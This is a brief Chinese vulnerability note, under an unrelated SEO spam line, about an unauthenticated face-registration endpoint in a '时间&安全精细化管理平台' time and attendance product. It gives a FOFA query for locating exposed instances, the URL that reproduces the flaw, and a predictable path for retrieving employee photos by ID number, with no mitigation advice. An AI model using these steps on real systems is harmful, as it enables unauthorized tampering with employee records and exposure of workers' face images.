厦门php网站建设_dw网页制作素材下载_福州seo排名优化_百度广告位

漏洞描述

登录--时间&安全精细化管理平台/iapp/mobile/facereg/facereg.html接口存在未授权访问漏洞，黑客可以未授权等级员工信息对平台造成影响

FOFA：

body="登录--时间&安全精细化管理平台"

漏洞复现

IP+/iapp/mobile/facereg/facereg.html

登记信息

登记后的图片路径

IP+/iclock/file/photo/1.jpg  #图片名由工号决定